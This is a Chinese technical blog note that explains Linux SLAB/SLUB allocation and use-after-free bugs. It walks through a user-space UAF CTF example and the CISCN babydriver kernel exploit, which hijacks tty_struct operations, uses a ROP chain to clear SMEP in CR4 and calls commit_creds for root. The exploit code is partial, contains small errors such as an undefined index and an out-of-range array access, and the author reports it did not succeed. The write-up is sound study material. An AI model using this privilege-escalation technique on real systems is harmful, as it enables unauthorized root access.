Skip to content

Latest commit

 

History

History
513 lines (429 loc) · 29.1 KB

关于内存分配的一些事.md

File metadata and controls

513 lines (429 loc) · 29.1 KB

UAF从名称上翻译过来就是释放后重用,这个漏洞的产生主要取决于内存管理机制,因此扯来扯去,还是得先了解一下内存管理方面的东西才行。

我自己注重的是kernel相关的安全,而linux用户态下的大部分uaf其实来源于C内存管理机制,虽然和kernel相似,但也着实是两种不同的东西,因此还是要以kernel为主来了解。

SLAB机制

slub可以理解为slab的升级简化版本,从2.6.22开始引入,在实际的设计理念上倒是没有什么太大的区别,但是却又有着明显的性能优化,而这些优化的点就是着重注意的部分

先前简单研究过kernel的内存相关的东西,知道了kernel采用了内存分页模型来管理内存,将内存划分为一个个页,通过伙伴系统来分配,那随之而来的问题就是最小分配单元是页(4kb),然而非常多的时候需要分配的仅仅是一片很小的内存,如果依旧按照伙伴系统来分配的话,显然会造成极大的浪费

比如仅仅需要申请一个4b的内存,然而却分配来一个4kb的页,而这一页中的4kb - 4b大小的内存就被浪费了,这部分被浪费的内存可以称为内部碎片

为了解决这种问题而引入了针对小内存的管理方式slab系统。如果是伙伴系统的最基础单元是一个个page的话,那slab系统的最基础单元就是object,说起来可能有点抽象,什么是object?实际上这儿可以理解成kernel中使用度非常频繁的数据结构,例如进程结构task_struct,索引结构inode。这些object往往占用内存并不到一个page,但是却会被频繁的创建销毁,如果每一次都是0 - 1 - 0的流程的话,显然会带来极大的开销,相同object之间的内存结构是相同的,那如果一个object在使用完成后,并非是立马将其回收,而是成为一个cache,这样在有一个新的object需求进来的时候就能立马用上,极大的提高了内存分配的速度,这也是为什么slab分配器又被当作高速缓存来用。

从整体结构上来说,一整个slab的运作模型如下

681d46d2-a256-4e47-bcd4-d29a1b3d9e0f.png

kmem_cacheslab描述符,很多描述符组成了全局链表slab_cashes,其最直观的表现可以通过/proc/slabinfoname感知出来,不同的name就代表了不同的kmem_cache,例如task_structkmem_cache中所有的object都是一个个的struct task_struct结构,而其中比较特殊的就是kmalloc-*类型的kmem_cache,这个可以被称作是通用缓存,没什么特殊的用途和结构,目的就是为了能够快速提供这样大的一块内存出来而已,而这个描述符中最重要的数据结构是kmem_cache_node,组织了各个具体的slab

内存的分配的最基础单元还是page,这儿是不是有些晕,slab不是能管理比page更小的内存吗?其实slab的内存管理是指在已经分配的page上再做的管理,而不是直接从无到有管理一个< page_size的内存,因此在这个基本约束下,虽然slab分配器的分配单位是object,但是其整个结构上依然有一个>= page_size的结构作为中转也就是上图中的slab,一个slab的所占页面个数为2^cachep->gfporder个,这个值的确定流程在kmem_cache_create中,也是kmem_cache的一个属性,而真正使用起来则是在slab对象的分配流程中,

kmem_cache_alloc -> slab_alloc -> __do_cache_alloc -> __cache_alloc

这个函数的大致流程是:

  1. 获取本地缓冲池arrar_cache并判断其中是否有空闲对象,这是一个只用于当前CPU的指向空闲object的指针集合,减少了访问链表的锁开销。
  2. 有的话则直接通过ac_get_obj来分配对象,获取的是ac->entry[--ac->avail],也就是最后一个对象
  3. 没有则通过cache_alloc_refill来分配对象

一个kmem_cache刚创建的时候不存在空闲对象一说,因此直接走流程3,而在流程3的函数中,则会引入三个队列的判断和操作

  1. slabs_partial,部分空闲链表
  2. slabs_full,不空闲
  3. slabs_free,全部空闲链表

优先检查共享缓冲池,如果有对象的话就移到本地缓冲池里,然后重来一遍,如果共享缓冲池为空的话,则会检查slabs_partialslabs_free,如果两者不为空的话,则说明存在空闲的object可以分配出来,将其放到本地缓冲池中,在分配完object后再去把所属的slab移动到应该去的链表上,但按照刚创建的时候来说,所有的链表都是空的因为完全还没有对象,所以第一个slab是通过cache_grow来创建的,占用了gfporder个物理页面,将其放入free链表后再走retry流程,此时因为有了空闲对象,所以就肯定能分配出object

到此为需要的object就已经分配完了,那么在用完之后自然就涉及到了回收的问题,先前说过slab并非仅仅是一个小内存分配器,也是一个高速缓存器,这是因为其释放模式的设计上能够实现缓存的功能。一个对象调用kmem_cache_free时候,会通过cache_from_obj根据obj的虚拟地址找到对应的kmem_cache,然后调用__cache_freekmem_cache内作操作,其逻辑就是如果本地对象缓冲池的空闲对象数量没有超过ac->limit,那就直接调用ac_put_object把对象释放到缓冲池里ac->entry[ac->avail++] = object,但是如果超过的话,则会调用cache_flusharray()来处理一些slab把位置空出来,同时还要处理一下该object所在的slab,将其移动到应该去的链表上。

其实这个机制和C的内存管理的机制十分的相似,都是在页式管理的基础上再做的一层内存管理,不过我也说的不一定对,因为C的内存管理我没有细心了解过,只是粗略的知道fastbin之类的东西。

SLUB机制

从最开始的kmem_cache创建上来说,相比于slab的无脑创建新的kmem_cache带来的开销,slub引入了对象重用的机制,即在请求创建新的kmem_cache时,分配器会根据size搜索已有的kmem_cache,若相等或是略大于(sizeof(void *)范围)则不去创建而是重新已有的kmem_cache,将其refcount + 1,实现函数为__kmem_cache_alias,在后续初始化上也有变化,用kmem_cache_cpu取代以前的array_cache

struct kmem_cache_cpu {
 void **freelist; /* Pointer to next available object */
 unsigned long tid; /* Globally unique transaction id */
 struct page *page; /* The slab from which we are allocating */
#ifdef CONFIG_SLUB_CPU_PARTIAL
 struct page *partial; /* Partially allocated frozen slabs */
#endif
#ifdef CONFIG_SLUB_STATS
 unsigned stat[NR_SLUB_STAT_ITEMS];
#endif
};

而针对kmem_cache_node也只保留了partial一条链表,这就导致后面关于内存分配的流程上出现了简化。

struct kmem_cache_node {
 spinlock_t list_lock;
 unsigned long nr_partial;
 struct list_head partial;
#ifdef CONFIG_SLUB_DEBUG
 atomic_long_t nr_slabs;
 atomic_long_t total_objects;
 struct list_head full;
#endif
};

从内存分配的角度看,原本的slab的顺序是本地缓冲池 -> 共享缓冲池 -> 部分空闲链表 -> 全部空闲链表,而slub则极大的简化了这个步骤,取消了共享缓冲池且只保留了部分空闲链表。在第一次进行内存分配的时候还是一样是没有slab的,这时候就要为当前cpu创建一个slab称为本地活动slab,并将kmem_cache_cpufreelist指向第一个object,这样再次retry时则只需要使用指向的object然后移动指针即可分配出一个可用的object出来,而如果本地活动slab已经没有空闲object的话,则从kmem_cache_cpu->partial取新的slab重新装到freelist上,其中kmem_cache_cpu->page就指向的当前在用的slab,如果此时kmem_cache_cpu->partial上没有了空闲的slab则从kmem_cache_node->partial上取slab装到freelist上,还会多取几个放到kmem)_cache_cpu->partial上,为下次寻找节省时间,这种方式比起slab机制来说要简单高效了很多,当然如果都没有object的话则直接申请新的slab

CONFIG_SLUB_CPU_PARTIAL属于选配,如果没开启的话,则在分配上忽略这个流程。让SLUB内存分配器使用基于每个CPU的局部缓存,这样可以加速分配和释放属于此CPU范围内的对象,但这样做的代价是增加对象释放延迟的不确定性.因为当这些局部缓存因为溢出而要被清除时,需要使用锁,从而导致延迟尖峰.对于需要快速响应的实时系统,应该选"N",服务器则可以选"Y",同样还有CONFIG_SLUB_DEBUG配置决定了node上是否有full链表。

最后再看一下回收机制,如果要释放的object正是本地活动slab上的话,则直接将其添加到当前freelist链表的头部,然后将freelist移动到该object,但是如果要释放的object属于其余slab中的话,则将其释放后加入到slab的空闲队列里,然后还要判断释放后的slab状态,然后再根据情况整个销毁掉全空闲slab或者移动到不同的链表中。

并不针对slab的变化多作解释,因为对于漏洞研究上主要关注的还是object的分配和释放

整个slub的结构如下图:

55dc9ef4-25e7-442f-a407-5940696a81da.png

kmalloc

kernel中的kmalloc和核心就是slab机制,在系统启动的时候,就有create_kmalloc_caches创建了一堆slab描述符,其实这部分直接看源码要更好理解点:

static __always_inline void *kmalloc(size_t size, gfp_t flags)
{
 if (__builtin_constant_p(size)) {
  if (size > KMALLOC_MAX_CACHE_SIZE)
   return kmalloc_large(size, flags);
#ifndef CONFIG_SLOB
  if (!(flags & GFP_DMA)) {
   unsigned int index = kmalloc_index(size);


   if (!index)
    return ZERO_SIZE_PTR;


   return kmem_cache_alloc_trace(kmalloc_caches[index],
     flags, size);
  }
#endif
 }
 return __kmalloc(size, flags);
}

其实代码的核心思路还是那个index,这取决了最终分配的内存来源于哪个cache

static __always_inline unsigned int kmalloc_index(size_t size)
{
 if (!size)
  return 0;


 if (size <= KMALLOC_MIN_SIZE)
  return KMALLOC_SHIFT_LOW;


 if (KMALLOC_MIN_SIZE <= 32 && size > 64 && size <= 96)
  return 1;
 if (KMALLOC_MIN_SIZE <= 64 && size > 128 && size <= 192)
  return 2;
 if (size <= 8) return 3;
 if (size <= 16) return 4;
 if (size <= 32) return 5;
 if (size <= 64) return 6;
 if (size <= 128) return 7;
 if (size <= 256) return 8;
 if (size <= 512) return 9;
 if (size <= 1024) return 10;
 if (size <= 2 * 1024) return 11;
 if (size <= 4 * 1024) return 12;
 if (size <= 8 * 1024) return 13;
 if (size <= 16 * 1024) return 14;
 if (size <= 32 * 1024) return 15;
 if (size <= 64 * 1024) return 16;
 if (size <= 128 * 1024) return 17;
 if (size <= 256 * 1024) return 18;
 if (size <= 512 * 1024) return 19;
 if (size <= 1024 * 1024) return 20;
 if (size <= 2 * 1024 * 1024) return 21;
 if (size <= 4 * 1024 * 1024) return 22;
 if (size <= 8 * 1024 * 1024) return 23;
 if (size <= 16 * 1024 * 1024) return 24;
 if (size <= 32 * 1024 * 1024) return 25;
 if (size <= 64 * 1024 * 1024) return 26;
 BUG();


 /* Will never be reached. Needed because the compiler may complain */
 return -1;
}

Use-After-Free

这是在内存分配上一个绕不开的安全问题

slab&slub这样一套内存管理模式中是否有安全问题呢?

int main(int argc, char *argv[])
{
 char *p1;
 p1 = (char *)malloc(sizeof(char) * 10);
 memcpy(p1, "hello", 10);
 printf("before free: p1 address = %p\n", p1);
 free(p1);
 printf("after free: p1 address = %p\n", p1);
 return 0;
}

输出结果:

before free: p1 address = 0x55cfa68fa2a0
after free: p1 address = 0x55cfa68fa2a0

可以看到虽然分配的内存被release了,但是指针指向的地址依然没有变,意思就是说p1这个指针依然指向的这一块内存,这是C中经典的悬垂指针问题。再去回顾之前的object分配的原则,在一个object被释放后紧接着立马申请一块相同大小的object,最终分配过来的就会是刚被释放的那一个。那以上二者结合起来就会导致一个问题,就是悬垂指针在逻辑以外突然变得再次有效起来,并且还指向的是一个正在被合法使用的内存地址。

简单来说uaf漏洞的产生取决于悬垂指针的使用上,当一个悬垂指针产生后但是不再被引用了,那就是从程序逻辑中已经被忽略掉了便也无所谓了,但是如果这个指针在release后依然被使用到了就满足了uaf的条件,若在free后到下一次使用的过程中若悬垂指针指向的那一块内存又被申请到了,这就有可能导致程序逻辑发生了意想不到的变化。

这样说可能还是不够直白,程序为什么会这么写呢?这还是需要从实际的例子上阐述这个问题。

用户态的uaf

既然要从内核态分析这个问题,那就只能靠lkm解决了,又要写代码了真麻烦,这儿需要明确的一点是uaf漏洞的利用是在用户态,然而生效是在内核态,因此对于一个内核中的uaf漏洞来说,怎么都得有提供到用户态的接口或者与用户态数据有关联的逻辑才行,因此优先写的是用户态下的问题代码,也是抄来的

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>


struct auth {
  char name[32];
  int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
{
  char line[128];
  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);
      if(fgets(line, sizeof(line), stdin) == NULL) break;
      if(strncmp(line, "auth ", 5) == 0) {
          auth = (struct auth *)malloc(sizeof(struct auth));
          memset(auth, 0, sizeof(struct auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 7) == 0) {
          service = strdup(line + 8);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

第21行的代码是被我修改过的,原本的写法是auth = malloc(sizeof(auth));但是这儿涉及到了sizeof的特性问题,按照上下逻辑的意思应该是这儿会开辟一个内存空间用来存struct auth的数据,但是因为struct auth *auth的原因所以sizeof(auth)的结果是8是一个指针的大小在逻辑上有点说不通顺,因此修改成sizeof(struct auth)表示明确分这么多内存,其中关于sizeof存在各种坑点,值得研究注意一下。

这是抄来的一份题目的代码,存在明显的uaf漏洞,甚至明显到vim会提醒你代码存在问题:

Use of memory after it is freed [clang-analyzer-unix.Malloc]

但是这个uaf和上述的slub&slab没多大关系,因为用户态上C程序malloc使用的内存来源于C自身的内存池,有一套自我实现的内存分配机制不过大概逻辑上却又和slub&slab机制相似,所以拿出来作为uaf认识和利用的基础。 如上的代码在运行后输入auth a后,内存情况是这样的:

gef➤ x &auth
0x555555558090 <auth>: 0x0000555555559ac0
gef➤ p auth
$1 = (struct auth *) 0x555555559ac0
gef➤ p &auth->name
$3 = (char (*)[32]) 0x555555559ac0
gef➤ p &auth->auth
$4 = (int *) 0x555555559ae0
gef➤ x/5 auth
0x555555559ac0: 0x0000000000000a61 0x0000000000000000
0x555555559ad0: 0x0000000000000000 0x0000000000000000
0x555555559ae0: 0x0000000000000000

可以看到auth->auth这一段的数据是0x0,因此不管我们怎么login都会因为验证不通过而失败,而纵观全局逻辑来说,是没有正常逻辑能够修改auth->auth的。 下一个循环的时候输入reset这会调用free(auth),之后的内存情况如下:

gef➤ x &auth
0x555555558090 <auth>: 0x0000555555559ac0
gef➤ p auth
$8 = (struct auth *) 0x555555559ac0
gef➤ p &auth->name
$9 = (char (*)[32]) 0x555555559ac0
gef➤ p &auth->auth
$10 = (int *) 0x555555559ae0
gef➤ x/5 auth
0x555555559ac0: 0x0000000000000000 0x0000555555559010
0x555555559ad0: 0x0000000000000000 0x0000000000000000
0x555555559ae0: 0x0000000000000000

虽然内存空间已经被release了,但是从指针访问的话依然可以获取到相对位置上的内存数据,看到service的逻辑里面是strdup(line + 7)strdup其实是malloc的封装,而内存大小则来取决于参数的长度+1

char * __strdup(const char *s)
{
   size_t len = strlen(s) +1;
   void *new = malloc(len);
   if (new == NULL)
      return NULL;
   return (char *)memecpy(new,s,len);
}

那么只要给service申请的内存大小和struct auth的一致(或者稍微小点),这样的话service申请的内存就是前一次auth的内存空间,而service的后几位就可以控制auth->auth,从而绕过判断,那么利用流程:

  1. auth a
  2. reset
  3. service aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa //35个a,因为会在strdup中长度加一
  4. login

这是在用户态下一个很典型的uaf漏洞,那情况放到内核态里会如何呢?虽然都是内核态但是漏洞的爆发点也可以分成是子系统/子模块或者是驱动上,驱动上的漏洞的逻辑上一般来说比前者更为明显直白,那就从驱动开始分析问题。

驱动上的uaf

这得专门准备一个存在漏洞的驱动出来,还好国内各种ctflinux相关的都喜欢内核层的uaf,大概是显得高端吧:),因此有大量的代码可以抄过来作为样例

这儿我用的是CISCN的babydriver这题,照着大概把驱动的源码补全了一下,但是这儿有一个点坑了我好久,就是我看的几个参考都是直接利用UAF重写了分配给cred的内存,但是问题在于他们题目中的环境是没有cred_jar这个类型的slab的,因此prepare_creds使用的是kmalloc-192,然而我的环境下是有cred_jar的,两种slab即使在slub上也无法做到交叉使用,这也怪我自己没有先看一下prepare_creds的源码:

struct cred *prepare_creds(void)
{
 struct task_struct *task = current;
 const struct cred *old;
 struct cred *new;
 validate_process_creds();
 new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
 if (!new)
  return NULL;
 kdebug("prepare_creds() alloc %p", new);
 old = task->cred;
 memcpy(new, old, sizeof(struct cred));
 atomic_set(&new->usage, 1);
 set_cred_subscribers(new, 0);
 get_group_info(new->group_info);
 get_uid(new->user);
 get_user_ns(new->user_ns);
#ifdef CONFIG_KEYS
 key_get(new->session_keyring);
 key_get(new->process_keyring);
 key_get(new->thread_keyring);
 key_get(new->request_key_auth);
#endif
#ifdef CONFIG_SECURITY
 new->security = NULL;
#endif
 if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
  goto error;
 validate_creds(new);
 return new;
error:
 abort_creds(new);
 return NULL;
}
EXPORT_SYMBOL(prepare_creds);

但是我也懒得改了,因为如果要符合我的环境的话得在驱动中申请内存的时候就指定cred_jar,这肯定是非常蠢的行为,因此这边不作考虑转换思路学习另一种利用方式,也就是通过修改tty_struct中的ops进行rop绕过smep提权。

这需要先认识一下tty的分配,一个tty设备有一个初始化的函数是tty_init_dev是用来为一个tty_struct开辟内存空间并初始化数据,然而其开辟的方式是通过调用alloc_tty_struct跟入后可以看出来

struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
    struct tty_struct *tty;

    tty = kzalloc(sizeof(*tty), GFP_KERNEL);
    if (!tty)
        return NULL;

    kref_init(&tty->kref);
    tty->magic = TTY_MAGIC;
    if (tty_ldisc_init(tty)) {
        kfree(tty);
        return NULL;
    }
    tty->session = NULL;
    tty->pgrp = NULL;
    mutex_init(&tty->legacy_mutex);
    mutex_init(&tty->throttle_mutex);
    init_rwsem(&tty->termios_rwsem);
    mutex_init(&tty->winsize_mutex);
    init_ldsem(&tty->ldisc_sem);
    init_waitqueue_head(&tty->write_wait);
    init_waitqueue_head(&tty->read_wait);
    INIT_WORK(&tty->hangup_work, do_tty_hangup);
    mutex_init(&tty->atomic_write_lock);
    spin_lock_init(&tty->ctrl_lock);
    spin_lock_init(&tty->flow_lock);
    spin_lock_init(&tty->files_lock);
    INIT_LIST_HEAD(&tty->tty_files);
    INIT_WORK(&tty->SAK_work, do_SAK_work);

    tty->driver = driver;
    tty->ops = driver->ops;
    tty->index = idx;
    tty_line_name(driver, idx, tty->name);
    tty->dev = tty_get_device(tty);

    return tty;
}
一个非常明显的`kzalloc`的调用,首先可以通过`systamtap`探测一下`alloc_tty_struct`的返回值确认是分配了释放的内存:
probe kernel.function("alloc_tty_struct").return
{
    printf("%lx\n", $return);
}

其中输出的结果和dmesg中看到的释放的内存地址:

ffff8800ad810c00
[ 5400.800901] new hello_char : ffff8800ad810c00
[ 5400.800911] kfree hello_char : ffff8800ad810c00

便显然可以知道释放的内存已经被内核分配给一个tty_struct了,那结合uaf就是说能够针对这个tty_struct进行控制,而tty_struct中也是有操作集的,相关的利用技术其实已经很成熟了,这儿写无非就是炒一下冷饭。 首先想一下最终目的是让程序执行恶意代码,那这个恶意代码是写到哪儿呢?纵观整个驱动中唯一能将数据写入到内核内存的入口仅有驱动的write处,但是这个点确实需要去重写tty_struct->fileoperations的,那么只有将恶意代码放到用户内存里面了,这儿就引入了一个新的问题,也就是linux的安全机制smep/smap,简单来说就是禁止内核执行用户空间的代码/禁止内核访问用户空间数据

起码在5.1以前可以通过CR4进行控制,参见补丁

那么就需要先绕过这个限制,就是利用内核中的代码先去关闭smep,先从vmlinux中找个gadget

因为系统会根据cr4寄存器的第20位判断是否开启了smep,需要刷成0,这需要预先获取到cr4寄存器中的值

0xffffffff8101fb0d : mov cr4, rdi ; ret

通过int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);的方式可以打开一个tty设备,其对应的操作集就是tty_struct->fileoperations,再去看的话也只有一个int (*write)(struct tty_struct * tty, const unsigned char *buf, int count);值得利用,那么自然就是将这个operation修改成恶意代码然后再通过写入tty来触发,首先就是把原本的tty_struct给完整的复制过来再将其替换掉。

unsigned long fuck_tty_struct[3] = {0};
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
read(fd2, fuck_tty_struct, 32);
printf("operations = %lx", fuck_tty_struct[3]); //fuck_tty_struct[3]就是原本的operations位

那如果没有smep的限制,完全就可以直接把write替换成一个提权shell的恶意代码就搞定了,但是正因为有smep因此需要在触发代码前先通过ROP来修改标志位关闭smep,首先通过crash确定一下在tty_operations中的write的位置是operations[7],接着将这一位上的地址修改成驱动中的read函数然后通过gdb查看一下调用栈和寄存器情况为后续利用作准备。

这个根据不同的内核版本会有不同的实现,因此不能直接套用

   0xffffffff814cb702 <+424>:    mov    rax,QWORD PTR [r12+0x18]
   0xffffffff814cb707 <+429>:    mov    rax,QWORD PTR [rax+0x38]
   0xffffffff814cb70b <+433>:    mov    edx,ebx
   0xffffffff814cb70d <+435>:    mov    rsi,rbp
   0xffffffff814cb710 <+438>:    mov    rdi,r12
   0xffffffff814cb713 <+441>:    call   0xffffffff81c03000 <__x86_indirect_thunk_rax>
   0xffffffff814cb718 <+446>:    mov    r13d,eax

[r12+0x18]存的就是operations的地址,而[rax+0x38]则是op->write的地址,而call 0xffffffff81c03000 <__x86_indirect_thunk_rax>则相当于直接去call rax,而可以控制的地方就是operations的地址,而在call之前看一下参数赋值可以看到mov rdi,r12,这说明r12实际存的是filp的地址,也就是fd指向的file。因此rop构造在operations中,然后通过修改rspoperations的地址然后ret引导执行rop的代码,不过由于operations的大小不够大,因此可以再做一次迁移将执行完全引导到一个rop区域中。

这儿有个需要注意的点,就是operations的地址是用户态地址,然而如果是开启了smap的话,这样使用会直接导致内核的panic,因此在使用tty_struct的伪造方式提权前需要确定/proc/cpuinfo中是否开启了smap,如果开启的话就需要在内核的堆/栈上构造数据去关闭smap/smep

那这样利用思路就很清晰了:

  1. 修改tty_operations到用户态的地址
  2. 修改tty_operations内容,构造rop修改cr4
  3. 通过rop跳转执行用户态函数
  4. 利用prepare_kernel_cred_addrcommit_creds_addr完成提权

一个通用的ROP,但是触发的前提条件就是让rsp迁移到rop[32]上,最典型的就是mov rsp, [ROP起始地址]; ret

#define prepare_kernel_cred_addr 0xffffffff810bd944
#define commit_creds_addr 0xffffffff810bd56a

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get_shell()
{
    system("/bin/sh");
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}
int main() {
    size_t rop[32] = {0};
    rop[i++] = 0xffffffff81521a97;      // pop rdi; ret;
    rop[i++] = 0x6f0;
    rop[i++] = 0xffffffff8101fb0d;      // mov cr4, rdi; ret;
    rop[i++] = (size_t)get_root;
    rop[i++] = 0xffffffff8106c717;      // swapgs; ret;
    rop[i++] = 0xffffffff81035a2b;      // iretq; ret
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;                /* saved CS */
    rop[i++] = user_rflags;            /* saved EFLAGS */
    rop[i++] = user_sp;
    rop[i++] = user_ss;
}

我的环境中没有exploit成功,也可能是因为没有找到gadget的原因,但是利用思路已经很明显了就是这个样子

2022年重新回来看这个问题,新认识到一种叫做缓存跨越的知识点,可以越过特定缓存和通用缓存的隔离,利用喷射的方式将已经被释放的slab页占用

https://mp.weixin.qq.com/s/Qs_-CTZyojRe_x8E0KiXMg

参考资料